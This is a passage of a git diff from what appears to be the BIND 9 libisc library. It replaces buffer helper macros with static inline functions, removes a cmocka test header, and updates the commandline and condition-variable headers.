+		REQUIRE(isc_buffer_availablelength(b) >= sizeof(val));         \
+	}
+
+static inline void
+isc_buffer_putuint8(isc_buffer_t *restrict b, const uint8_t val) {
+	ISC_BUFFER_PUT_RESERVE(b, val);
+
+	uint8_t *cp = isc_buffer_used(b);
+	b->used += sizeof(val);
+	cp[0] = val;
+}
+
+static inline isc_result_t
+isc_buffer_peekuint16(const isc_buffer_t *restrict b, uint16_t *valp) {
+	ISC_BUFFER_PEEK_CHECK(b, sizeof(*valp));
+
+	uint8_t *cp = isc_buffer_current(b);
+
+	SET_IF_NOT_NULL(valp, ISC_U8TO16_BE(cp));
+	return (ISC_R_SUCCESS);
+}
+
+static inline uint16_t
+isc_buffer_getuint16(isc_buffer_t *restrict b) {
+	uint16_t     val = 0;
+	isc_result_t result = isc_buffer_peekuint16(b, &val);
+	ENSURE(result == ISC_R_SUCCESS);
+	b->current += sizeof(val);
+	return (val);
+}
+
+static inline void
+isc_buffer_putuint16(isc_buffer_t *restrict b, const uint16_t val) {
+	ISC_BUFFER_PUT_RESERVE(b, val);
+
+	uint8_t *cp = isc_buffer_used(b);
+	b->used += sizeof(val);
+	ISC_U16TO8_BE(cp, val);
+}
+
+static inline isc_result_t
+isc_buffer_peekuint32(const isc_buffer_t *restrict b, uint32_t *valp) {
+	ISC_BUFFER_PEEK_CHECK(b, sizeof(*valp));
+
+	uint8_t *cp = isc_buffer_current(b);
+
+	SET_IF_NOT_NULL(valp, ISC_U8TO32_BE(cp));
+	return (ISC_R_SUCCESS);
+}
 
-isc_result_t
-isc_buffer_printf(isc_buffer_t *b, const char *format, ...)
-	ISC_FORMAT_PRINTF(2, 3);
-/*!<
- * \brief Append a formatted string to the used region of 'b'.
- *
- * Notes:
- *
- *\li	The 'format' argument is a printf(3) string, with additional arguments
- *	as necessary.
- *
- *\li	If 'b' has autoreallocation enabled, and the length of the formatted
- *	string is greater than the length of the available region of 'b', 'b'
- *	is reallocated.
+uint32_t
+isc_buffer_getuint32(isc_buffer_t *restrict b) {
+	uint32_t     val = 0;
+	isc_result_t result = isc_buffer_peekuint32(b, &val);
+	ENSURE(result == ISC_R_SUCCESS);
+	b->current += sizeof(val);
+	return (val);
+}
+
+static inline void
+isc_buffer_putuint32(isc_buffer_t *restrict b, const uint32_t val) {
+	ISC_BUFFER_PUT_RESERVE(b, val);
+
+	uint8_t *cp = isc_buffer_used(b);
+	b->used += sizeof(val);
+
+	ISC_U32TO8_BE(cp, val);
+}
+
+static inline isc_result_t
+isc_buffer_peekuint48(const isc_buffer_t *restrict b, uint64_t *valp) {
+	ISC_BUFFER_PEEK_CHECK(b, 6); /* 48-bits */
+
+	uint8_t *cp = isc_buffer_current(b);
+
+	SET_IF_NOT_NULL(valp, ISC_U8TO48_BE(cp));
+	return (ISC_R_SUCCESS);
+}
+
+static inline uint64_t
+isc_buffer_getuint48(isc_buffer_t *restrict b) {
+	uint64_t     val = 0;
+	isc_result_t result = isc_buffer_peekuint48(b, &val);
+	ENSURE(result == ISC_R_SUCCESS);
+	b->current += 6; /* 48-bits */
+	return (val);
+}
+
+static inline void
+isc_buffer_putuint48(isc_buffer_t *restrict b, const uint64_t val) {
+	ISC_BUFFER_PUT_RESERVE(b, val);
+
+	uint8_t *cp = isc_buffer_used(b);
+	b->used += 6;
+
+	ISC_U48TO8_BE(cp, val);
+}
+
+static inline void
+isc_buffer_putmem(isc_buffer_t *restrict b, const unsigned char *restrict base,
+		  const unsigned int length) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+
+	if (b->mctx) {
+		isc_result_t result = isc_buffer_reserve(b, length);
+		REQUIRE(result == ISC_R_SUCCESS);
+	}
+
+	REQUIRE(isc_buffer_availablelength(b) >= (unsigned int)length);
+
+	if (length > 0U) {
+		memmove(isc_buffer_used(b), base, length);
+		b->used += length;
+	}
+}
+
+/*!
+ * \brief Copy 'source' into 'b', not including terminating NUL.
  *
  * Requires:
- *
  *\li	'b' is a valid buffer.
  *
- * Ensures:
- *
- *\li	The used pointer in 'b' is advanced by the number of bytes appended
- *	(excluding the terminating NULL byte).
- *
- * Returns:
+ *\li	'source' is a valid NULL terminated string.
  *
- *\li	#ISC_R_SUCCESS	Operation succeeded.
- *\li	#ISC_R_NOSPACE	'b' does not allow reallocation and appending the
- *			formatted string to it would cause it to overflow.
- *\li	#ISC_R_NOMEMORY	Reallocation failed.
- *\li	#ISC_R_FAILURE	Other error occurred.
- */
-
-ISC_LANG_ENDDECLS
-
-/*
- * Inline macro versions of the functions.  These should never be called
- * directly by an application, but will be used by the functions within
- * buffer.c.  The callers should always use "isc_buffer_*()" names, never
- * ones beginning with "isc__"
- */
-
-/*! \note
- * XXXDCL Something more could be done with initializing buffers that
- * point to const data.  For example, isc_buffer_constinit() could
- * set a new boolean flag in the buffer structure indicating whether
- * the buffer was initialized with that function.  * Then if the
- * boolean were true, the isc_buffer_put* functions could assert a
- * contractual requirement for a non-const buffer.
+ *\li	The length of the available region of 'b' is at least strlen('source')
+ *	or the buffer has autoreallocation enabled.
  *
- * One drawback is that the isc_buffer_* functions (macros) that return
- * pointers would still need to return non-const pointers to avoid compiler
- * warnings, so it would be up to code that uses them to have to deal
- * with the possibility that the buffer was initialized as const --
- * a problem that they *already* have to deal with but have absolutely
- * no ability to.  With a new isc_buffer_isconst() function returning
- * true/false, they could at least assert a contractual requirement for
- * non-const buffers when needed.
+ * Ensures:
+ *\li	The used pointer in 'b' is advanced by strlen('source').
  */
-#define ISC__BUFFER_INIT(_b, _base, _length)    \
-	do {                                    \
-		(_b)->base = _base;             \
-		(_b)->length = (_length);       \
-		(_b)->used = 0;                 \
-		(_b)->current = 0;              \
-		(_b)->active = 0;               \
-		(_b)->mctx = NULL;              \
-		ISC_LINK_INIT(_b, link);        \
-		(_b)->magic = ISC_BUFFER_MAGIC; \
-		(_b)->autore = false;           \
-	} while (0)
-
-#define ISC__BUFFER_INITNULL(_b) ISC__BUFFER_INIT(_b, NULL, 0)
-
-#define ISC__BUFFER_INVALIDATE(_b) \
-	do {                       \
-		(_b)->magic = 0;   \
-		(_b)->base = NULL; \
-		(_b)->length = 0;  \
-		(_b)->used = 0;    \
-		(_b)->current = 0; \
-		(_b)->active = 0;  \
-	} while (0)
-
-#define ISC__BUFFER_REGION(_b, _r)           \
-	do {                                 \
-		(_r)->base = (_b)->base;     \
-		(_r)->length = (_b)->length; \
-	} while (0)
-
-#define ISC__BUFFER_USEDREGION(_b, _r)     \
-	do {                               \
-		(_r)->base = (_b)->base;   \
-		(_r)->length = (_b)->used; \
-	} while (0)
-
-#define ISC__BUFFER_AVAILABLEREGION(_b, _r)                    \
-	do {                                                   \
-		(_r)->base = isc_buffer_used(_b);              \
-		(_r)->length = isc_buffer_availablelength(_b); \
-	} while (0)
-
-#define ISC__BUFFER_ADD(_b, _n)     \
-	do {                        \
-		(_b)->used += (_n); \
-	} while (0)
-
-#define ISC__BUFFER_SUBTRACT(_b, _n)                \
-	do {                                        \
-		(_b)->used -= (_n);                 \
-		if ((_b)->current > (_b)->used)     \
-			(_b)->current = (_b)->used; \
-		if ((_b)->active > (_b)->used)      \
-			(_b)->active = (_b)->used;  \
-	} while (0)
-
-#define ISC__BUFFER_CLEAR(_b)      \
-	do {                       \
-		(_b)->used = 0;    \
-		(_b)->current = 0; \
-		(_b)->active = 0;  \
-	} while (0)
-
-#define ISC__BUFFER_CONSUMEDREGION(_b, _r)    \
-	do {                                  \
-		(_r)->base = (_b)->base;      \
-		(_r)->length = (_b)->current; \
-	} while (0)
-
-#define ISC__BUFFER_REMAININGREGION(_b, _r)                    \
-	do {                                                   \
-		(_r)->base = isc_buffer_current(_b);           \
-		(_r)->length = isc_buffer_remaininglength(_b); \
-	} while (0)
-
-#define ISC__BUFFER_ACTIVEREGION(_b, _r)                            \
-	do {                                                        \
-		if ((_b)->current < (_b)->active) {                 \
-			(_r)->base = isc_buffer_current(_b);        \
-			(_r)->length = isc_buffer_activelength(_b); \
-		} else {                                            \
-			(_r)->base = NULL;                          \
-			(_r)->length = 0;                           \
-		}                                                   \
-	} while (0)
-
-#define ISC__BUFFER_SETACTIVE(_b, _n)                \
-	do {                                         \
-		(_b)->active = (_b)->current + (_n); \
-	} while (0)
-
-#define ISC__BUFFER_FIRST(_b)      \
-	do {                       \
-		(_b)->current = 0; \
-	} while (0)
-
-#define ISC__BUFFER_FORWARD(_b, _n)    \
-	do {                           \
-		(_b)->current += (_n); \
-	} while (0)
-
-#define ISC__BUFFER_BACK(_b, _n)       \
-	do {                           \
-		(_b)->current -= (_n); \
-	} while (0)
-
-#define ISC__BUFFER_PUTMEM(_b, _base, _length)                            \
-	do {                                                              \
-		if (ISC_UNLIKELY((_b)->autore)) {                         \
-			isc_buffer_t *_tmp = _b;                          \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, _length) == \
-				    ISC_R_SUCCESS);                       \
-		}                                                         \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >=             \
-			    (unsigned int)_length);                       \
-		if (_length > 0U) {                                       \
-			memmove(isc_buffer_used(_b), (_base), (_length)); \
-			(_b)->used += (_length);                          \
-		}                                                         \
-	} while (0)
-
-#define ISC__BUFFER_PUTSTR(_b, _source)                                   \
-	do {                                                              \
-		unsigned int   _length;                                   \
-		unsigned char *_cp;                                       \
-		_length = (unsigned int)strlen(_source);                  \
-		if (ISC_UNLIKELY((_b)->autore)) {                         \
-			isc_buffer_t *_tmp = _b;                          \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, _length) == \
-				    ISC_R_SUCCESS);                       \
-		}                                                         \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >= _length);   \
-		_cp = isc_buffer_used(_b);                                \
-		memmove(_cp, (_source), _length);                         \
-		(_b)->used += (_length);                                  \
-	} while (0)
-
-#define ISC__BUFFER_PUTUINT8(_b, _val)                              \
-	do {                                                        \
-		unsigned char *_cp;                                 \
-		/* evaluate (_val) only once */                     \
-		uint8_t _val2 = (_val);                             \
-		if (ISC_UNLIKELY((_b)->autore)) {                   \
-			isc_buffer_t *_tmp = _b;                    \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, 1) == \
-				    ISC_R_SUCCESS);                 \
-		}                                                   \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >= 1U);  \
-		_cp = isc_buffer_used(_b);                          \
-		(_b)->used++;                                       \
-		_cp[0] = _val2;                                     \
-	} while (0)
-
-#define ISC__BUFFER_PUTUINT16(_b, _val)                             \
-	do {                                                        \
-		unsigned char *_cp;                                 \
-		/* evaluate (_val) only once */                     \
-		uint16_t _val2 = (_val);                            \
-		if (ISC_UNLIKELY((_b)->autore)) {                   \
-			isc_buffer_t *_tmp = _b;                    \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, 2) == \
-				    ISC_R_SUCCESS);                 \
-		}                                                   \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >= 2U);  \
-		_cp = isc_buffer_used(_b);                          \
-		(_b)->used += 2;                                    \
-		_cp[0] = (unsigned char)(_val2 >> 8);               \
-		_cp[1] = (unsigned char)_val2;                      \
-	} while (0)
+static inline void
+isc_buffer_putstr(isc_buffer_t *restrict b, const char *restrict source) {
+	unsigned int   length;
+	unsigned char *cp;
+
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(source != NULL);
+
+	length = (unsigned int)strlen(source);
+	if (b->mctx) {
+		isc_result_t result = isc_buffer_reserve(b, length);
+		ENSURE(result == ISC_R_SUCCESS);
+	}
+
+	REQUIRE(isc_buffer_availablelength(b) >= length);
+
+	cp = isc_buffer_used(b);
+	memmove(cp, source, length);
+	b->used += length;
+}
+
+static inline void
+isc_buffer_reinit(isc_buffer_t *restrict b, void *base,
+		  const unsigned int length) {
+	/*
+	 * Re-initialize the buffer enough to reconfigure the base of the
+	 * buffer.  We will swap in the new buffer, after copying any
+	 * data we contain into the new buffer and adjusting all of our
+	 * internal pointers.
+	 *
+	 * The buffer must not be smaller than the length of the original
+	 * buffer.
+	 */
+	REQUIRE(b->length <= length);
+	REQUIRE(base != NULL);
+	REQUIRE(b->mctx == NULL);
+
+	if (b->length > 0U) {
+		(void)memmove(base, b->base, b->length);
+	}
+
+	b->base = base;
+	b->length = length;
+}
+
+static inline void
+isc_buffer_trycompact(isc_buffer_t *restrict b) {
+	if (isc_buffer_consumedlength(b) >= isc_buffer_remaininglength(b)) {
+		isc_buffer_compact(b);
+	}
+}
+
+static inline void
+isc_buffer_compact(isc_buffer_t *restrict b) {
+	unsigned int length;
+	void	    *src;
+
+	/*
+	 * Compact the used region by moving the remaining region so it occurs
+	 * at the start of the buffer.  The used region is shrunk by the size
+	 * of the consumed region, and the consumed region is then made empty.
+	 */
+
+	REQUIRE(ISC_BUFFER_VALID(b));
+
+	src = isc_buffer_current(b);
+	length = isc_buffer_remaininglength(b);
+	if (length > 0U) {
+		(void)memmove(b->base, src, (size_t)length);
+	}
+
+	if (b->active > b->current) {
+		b->active -= b->current;
+	} else {
+		b->active = 0;
+	}
+	b->current = 0;
+	b->used = length;
+}
+
+static inline void
+isc_buffer_allocate(isc_mem_t	      *mctx, isc_buffer_t **restrict dbufp,
+		    const unsigned int length) {
+	REQUIRE(dbufp != NULL && *dbufp == NULL);
+
+	isc_buffer_t *dbuf = isc_mem_get(mctx, sizeof(*dbuf) + length);
+	uint8_t	     *bdata = (uint8_t *)dbuf + sizeof(*dbuf);
+
+	isc_buffer_init(dbuf, bdata, length);
+	dbuf->extra = length;
+	isc_buffer_setmctx(dbuf, mctx);
+
+	*dbufp = dbuf;
+}
+
+static inline void
+isc_buffer_setmctx(isc_buffer_t *restrict b, isc_mem_t *mctx) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+
+	b->mctx = mctx;
+}
+
+static inline void
+isc_buffer_clearmctx(isc_buffer_t *restrict b) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+
+	if (b->dynamic) {
+		isc_mem_put(b->mctx, b->base, b->length);
+		b->dynamic = false;
+	}
+
+	b->mctx = NULL;
+}
+
+static inline isc_result_t
+isc_buffer_reserve(isc_buffer_t *restrict dbuf, const unsigned int size) {
+	REQUIRE(ISC_BUFFER_VALID(dbuf));
+
+	size_t len;
+
+	len = dbuf->length;
+	if ((len - dbuf->used) >= size) {
+		return (ISC_R_SUCCESS);
+	}
+
+	if (dbuf->mctx == NULL) {
+		return (ISC_R_NOSPACE);
+	}
+
+	/* Round to nearest buffer size increment */
+	len = size + dbuf->used;
+	len = ISC_ALIGN(len, ISC_BUFFER_INCR);
+
+	/* Cap at UINT_MAX */
+	if (len > UINT_MAX) {
+		len = UINT_MAX;
+	}
+
+	if ((len - dbuf->used) < size) {
+		return (ISC_R_NOMEMORY);
+	}
+
+	if (!dbuf->dynamic) {
+		void *old_base = dbuf->base;
+		dbuf->base = isc_mem_get(dbuf->mctx, len);
+		if (old_base != NULL) {
+			memmove(dbuf->base, old_base, dbuf->used);
+		}
+		dbuf->dynamic = true;
+	} else {
+		dbuf->base = isc_mem_creget(dbuf->mctx, dbuf->base,
+					    dbuf->length, len, sizeof(char));
+	}
+	dbuf->length = (unsigned int)len;
+
+	return (ISC_R_SUCCESS);
+}
+
+static inline void
+isc_buffer_free(isc_buffer_t **restrict dbufp) {
+	REQUIRE(dbufp != NULL && ISC_BUFFER_VALID(*dbufp));
+	REQUIRE((*dbufp)->mctx != NULL);
+
+	isc_buffer_t *dbuf = *dbufp;
+	isc_mem_t    *mctx = dbuf->mctx;
+	unsigned int  extra = dbuf->extra;
+
+	*dbufp = NULL; /* destroy external reference */
+
+	isc_buffer_clearmctx(dbuf);
+
+	isc_buffer_invalidate(dbuf);
+	isc_mem_put(mctx, dbuf, sizeof(*dbuf) + extra);
+}
+
+static inline isc_result_t
+isc_buffer_dup(isc_mem_t *mctx, isc_buffer_t **restrict dstp,
+	       const isc_buffer_t *restrict src) {
+	isc_buffer_t *dst = NULL;
+	isc_region_t  region;
+	isc_result_t  result;
+
+	REQUIRE(dstp != NULL && *dstp == NULL);
+	REQUIRE(ISC_BUFFER_VALID(src));
 
-#define ISC__BUFFER_PUTUINT24(_b, _val)                             \
-	do {                                                        \
-		unsigned char *_cp;                                 \
-		/* evaluate (_val) only once */                     \
-		uint32_t _val2 = (_val);                            \
-		if (ISC_UNLIKELY((_b)->autore)) {                   \
-			isc_buffer_t *_tmp = _b;                    \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, 3) == \
-				    ISC_R_SUCCESS);                 \
-		}                                                   \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >= 3U);  \
-		_cp = isc_buffer_used(_b);                          \
-		(_b)->used += 3;                                    \
-		_cp[0] = (unsigned char)(_val2 >> 16);              \
-		_cp[1] = (unsigned char)(_val2 >> 8);               \
-		_cp[2] = (unsigned char)_val2;                      \
-	} while (0)
+	isc_buffer_usedregion(src, &region);
+
+	isc_buffer_allocate(mctx, &dst, region.length);
+
+	result = isc_buffer_copyregion(dst, &region);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS); /* NOSPACE is impossible */
+	*dstp = dst;
+	return (ISC_R_SUCCESS);
+}
+
+static inline isc_result_t
+isc_buffer_copyregion(isc_buffer_t *restrict b,
+		      const isc_region_t *restrict r) {
+	isc_result_t result;
+
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
+
+	if (b->mctx) {
+		result = isc_buffer_reserve(b, r->length);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
+
+	if (r->length > isc_buffer_availablelength(b)) {
+		return (ISC_R_NOSPACE);
+	}
+
+	if (r->length > 0U) {
+		memmove(isc_buffer_used(b), r->base, r->length);
+		b->used += r->length;
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static inline isc_result_t
+isc_buffer_printf(isc_buffer_t *restrict b, const char *restrict format, ...) {
+	va_list	     ap;
+	int	     n;
+	isc_result_t result;
+
+	REQUIRE(ISC_BUFFER_VALID(b));
+
+	va_start(ap, format);
+	n = vsnprintf(NULL, 0, format, ap);
+	va_end(ap);
+
+	if (n < 0) {
+		return (ISC_R_FAILURE);
+	}
+
+	if (b->mctx) {
+		result = isc_buffer_reserve(b, n + 1);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
+
+	if (isc_buffer_availablelength(b) < (unsigned int)n + 1) {
+		return (ISC_R_NOSPACE);
+	}
 
-#define ISC__BUFFER_PUTUINT32(_b, _val)                             \
-	do {                                                        \
-		unsigned char *_cp;                                 \
-		/* evaluate (_val) only once */                     \
-		uint32_t _val2 = (_val);                            \
-		if (ISC_UNLIKELY((_b)->autore)) {                   \
-			isc_buffer_t *_tmp = _b;                    \
-			ISC_REQUIRE(isc_buffer_reserve(&_tmp, 4) == \
-				    ISC_R_SUCCESS);                 \
-		}                                                   \
-		ISC_REQUIRE(isc_buffer_availablelength(_b) >= 4U);  \
-		_cp = isc_buffer_used(_b);                          \
-		(_b)->used += 4;                                    \
-		_cp[0] = (unsigned char)(_val2 >> 24);              \
-		_cp[1] = (unsigned char)(_val2 >> 16);              \
-		_cp[2] = (unsigned char)(_val2 >> 8);               \
-		_cp[3] = (unsigned char)_val2;                      \
-	} while (0)
+	va_start(ap, format);
+	n = vsnprintf(isc_buffer_used(b), n + 1, format, ap);
+	va_end(ap);
 
-#if defined(ISC_BUFFER_USEINLINE)
-#define isc_buffer_init		   ISC__BUFFER_INIT
-#define isc_buffer_initnull	   ISC__BUFFER_INITNULL
-#define isc_buffer_invalidate	   ISC__BUFFER_INVALIDATE
-#define isc_buffer_region	   ISC__BUFFER_REGION
-#define isc_buffer_usedregion	   ISC__BUFFER_USEDREGION
-#define isc_buffer_availableregion ISC__BUFFER_AVAILABLEREGION
-#define isc_buffer_add		   ISC__BUFFER_ADD
-#define isc_buffer_subtract	   ISC__BUFFER_SUBTRACT
-#define isc_buffer_clear	   ISC__BUFFER_CLEAR
-#define isc_buffer_consumedregion  ISC__BUFFER_CONSUMEDREGION
-#define isc_buffer_remainingregion ISC__BUFFER_REMAININGREGION
-#define isc_buffer_activeregion	   ISC__BUFFER_ACTIVEREGION
-#define isc_buffer_setactive	   ISC__BUFFER_SETACTIVE
-#define isc_buffer_first	   ISC__BUFFER_FIRST
-#define isc_buffer_forward	   ISC__BUFFER_FORWARD
-#define isc_buffer_back		   ISC__BUFFER_BACK
-#define isc_buffer_putmem	   ISC__BUFFER_PUTMEM
-#define isc_buffer_putstr	   ISC__BUFFER_PUTSTR
-#define isc_buffer_putuint8	   ISC__BUFFER_PUTUINT8
-#define isc_buffer_putuint16	   ISC__BUFFER_PUTUINT16
-#define isc_buffer_putuint24	   ISC__BUFFER_PUTUINT24
-#define isc_buffer_putuint32	   ISC__BUFFER_PUTUINT32
-#else /* if defined(ISC_BUFFER_USEINLINE) */
-#define isc_buffer_init		   isc__buffer_init
-#define isc_buffer_initnull	   isc__buffer_initnull
-#define isc_buffer_invalidate	   isc__buffer_invalidate
-#define isc_buffer_region	   isc__buffer_region
-#define isc_buffer_usedregion	   isc__buffer_usedregion
-#define isc_buffer_availableregion isc__buffer_availableregion
-#define isc_buffer_add		   isc__buffer_add
-#define isc_buffer_subtract	   isc__buffer_subtract
-#define isc_buffer_clear	   isc__buffer_clear
-#define isc_buffer_consumedregion  isc__buffer_consumedregion
-#define isc_buffer_remainingregion isc__buffer_remainingregion
-#define isc_buffer_activeregion	   isc__buffer_activeregion
-#define isc_buffer_setactive	   isc__buffer_setactive
-#define isc_buffer_first	   isc__buffer_first
-#define isc_buffer_forward	   isc__buffer_forward
-#define isc_buffer_back		   isc__buffer_back
-#define isc_buffer_putmem	   isc__buffer_putmem
-#define isc_buffer_putstr	   isc__buffer_putstr
-#define isc_buffer_putuint8	   isc__buffer_putuint8
-#define isc_buffer_putuint16	   isc__buffer_putuint16
-#define isc_buffer_putuint24	   isc__buffer_putuint24
-#define isc_buffer_putuint32	   isc__buffer_putuint32
-#endif /* if defined(ISC_BUFFER_USEINLINE) */
+	if (n < 0) {
+		return (ISC_R_FAILURE);
+	}
 
-#define isc_buffer_constinit(_b, _d, _l)                    \
-	do {                                                \
-		union {                                     \
-			void *	    _var;                   \
-			const void *_const;                 \
-		} _deconst;                                 \
-		_deconst._const = (_d);                     \
-		isc_buffer_init((_b), _deconst._var, (_l)); \
-	} while (0)
+	b->used += n;
 
-/*
- * No inline method for this one (yet).
- */
-#define isc_buffer_putuint48 isc__buffer_putuint48
+	return (ISC_R_SUCCESS);
+}
 
-#endif /* ISC_BUFFER_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/cmocka.h b/lib/isc/include/isc/cmocka.h
deleted file mode 100644
index aadfcadab1..0000000000
--- a/lib/isc/include/isc/cmocka.h
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file isc/cmocka.h */
-
-#pragma once
-
-#include <cmocka.h>
-
-#include <isc/lang.h>
-
-ISC_LANG_BEGINDECLS
-
-/*
- * Copy the test identified by 'name' from 'tests' to 'selected'.
- */
-#define cmocka_add_test_byname(tests, name, selected)                          \
-	_cmocka_add_test_byname(tests, sizeof(tests) / sizeof(tests[0]), name, \
-				selected,                                      \
-				sizeof(selected) / sizeof(selected[0]))
-
-static inline bool
-_cmocka_add_test_byname(const struct CMUnitTest *tests, size_t ntests,
-			const char *name, struct CMUnitTest *selected,
-			size_t nselected) {
-	size_t i, j;
-
-	for (i = 0; i < ntests && tests[i].name != NULL; i++) {
-		if (strcmp(tests[i].name, name) != 0) {
-			continue;
-		}
-		for (j = 0; j < nselected && selected[j].name != NULL; j++) {
-			if (strcmp(tests[j].name, name) == 0) {
-				break;
-			}
-		}
-		if (j < nselected && selected[j].name == NULL) {
-			selected[j] = tests[i];
-		}
-		return (true);
-	}
-	return (false);
-}
-
-ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/commandline.h b/lib/isc/include/isc/commandline.h
index d9790c254c..ac721359ff 100644
--- a/lib/isc/include/isc/commandline.h
+++ b/lib/isc/include/isc/commandline.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,29 +11,28 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_COMMANDLINE_H
-#define ISC_COMMANDLINE_H 1
+#pragma once
 
 /*! \file isc/commandline.h */
 
 #include <stdbool.h>
 
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/result.h>
+#include <isc/types.h>
 
 /*% Index into parent argv vector. */
-LIBISC_EXTERNAL_DATA extern int isc_commandline_index;
+extern int isc_commandline_index;
 /*% Character checked for validity. */
-LIBISC_EXTERNAL_DATA extern int isc_commandline_option;
+extern int isc_commandline_option;
 /*% Argument associated with option. */
-LIBISC_EXTERNAL_DATA extern char *isc_commandline_argument;
+extern char *isc_commandline_argument;
 /*% For printing error messages. */
-LIBISC_EXTERNAL_DATA extern char *isc_commandline_progname;
+extern char *isc_commandline_progname;
 /*% Print error message. */
-LIBISC_EXTERNAL_DATA extern bool isc_commandline_errprint;
+extern bool isc_commandline_errprint;
 /*% Reset getopt. */
-LIBISC_EXTERNAL_DATA extern bool isc_commandline_reset;
+extern bool isc_commandline_reset;
 
 ISC_LANG_BEGINDECLS
 
@@ -53,5 +54,3 @@ isc_commandline_strtoargv(isc_mem_t *mctx, char *s, unsigned int *argcp,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_COMMANDLINE_H */
diff --git a/lib/isc/include/isc/condition.h b/lib/isc/include/isc/condition.h
index aed1db088c..4d820ab4b8 100644
--- a/lib/isc/include/isc/condition.h
+++ b/lib/isc/include/isc/condition.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,49 +16,87 @@
 /*! \file */
 
 #include <errno.h>
+#include <stdlib.h>
 
 #include <isc/error.h>
 #include <isc/lang.h>
 #include <isc/mutex.h>
 #include <isc/result.h>
-#include <isc/strerr.h>
 #include <isc/string.h>
 #include <isc/types.h>
+#include <isc/util.h>
 
-typedef pthread_cond_t isc_condition_t;
+ISC_LANG_BEGINDECLS
+
+/*
+ * We use macros instead of static inline functions so that the exact code
+ * location can be reported when PTHREADS_RUNTIME_CHECK() fails or when mutrace
+ * reports lock contention.
+ */
+
+#ifdef ISC_TRACK_PTHREADS_OBJECTS
+
+typedef pthread_cond_t *isc_condition_t;
 
-#define isc_condition_init(cond)                                \
-	if (pthread_cond_init(cond, NULL) != 0) {               \
-		char isc_condition_strbuf[ISC_STRERRORSIZE];    \
-		strerror_r(errno, isc_condition_strbuf,         \
-			   sizeof(isc_condition_strbuf));       \
-		isc_error_fatal(__FILE__, __LINE__,             \
-				"pthread_cond_init failed: %s", \
-				isc_condition_strbuf);          \
+#define isc_condition_init(cp)              \
+	{                                   \
+		*cp = malloc(sizeof(**cp)); \
+		isc__condition_init(*cp);   \
 	}
+#define isc_condition_wait(cp, mp)	   isc__condition_wait(*cp, *mp)
+#define isc_condition_waituntil(cp, mp, t) isc__condition_waituntil(*cp, *mp, t)
+#define isc_condition_signal(cp)	   isc__condition_signal(*cp)
+#define isc_condition_broadcast(cp)	   isc__condition_broadcast(*cp)
+#define isc_condition_destroy(cp)            \
+	{                                    \
+		isc__condition_destroy(*cp); \
+		free(*cp);                   \
+	}
+
+#else /* ISC_TRACK_PTHREADS_OBJECTS */
 
-#if ISC_MUTEX_PROFILE
-#define isc_condition_wait(cp, mp)                                      \
-	((pthread_cond_wait((cp), &((mp)->mutex)) == 0) ? ISC_R_SUCCESS \
-							: ISC_R_UNEXPECTED)
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_condition_wait(cp, mp)                            \
-	((pthread_cond_wait((cp), (mp)) == 0) ? ISC_R_SUCCESS \
-					      : ISC_R_UNEXPECTED)
-#endif /* if ISC_MUTEX_PROFILE */
+typedef pthread_cond_t isc_condition_t;
 
-#define isc_condition_signal(cp) \
-	((pthread_cond_signal((cp)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
+#define isc_condition_init(cond)	   isc__condition_init(cond)
+#define isc_condition_wait(cp, mp)	   isc__condition_wait(cp, mp)
+#define isc_condition_waituntil(cp, mp, t) isc__condition_waituntil(cp, mp, t)
+#define isc_condition_signal(cp)	   isc__condition_signal(cp)
+#define isc_condition_broadcast(cp)	   isc__condition_broadcast(cp)
+#define isc_condition_destroy(cp)	   isc__condition_destroy(cp)
 
-#define isc_condition_broadcast(cp) \
-	((pthread_cond_broadcast((cp)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
 
-#define isc_condition_destroy(cp) \
-	((pthread_cond_destroy((cp)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
+#define isc__condition_init(cond)                                \
+	{                                                        \
+		int _ret = pthread_cond_init(cond, NULL);        \
+		PTHREADS_RUNTIME_CHECK(pthread_cond_init, _ret); \
+	}
 
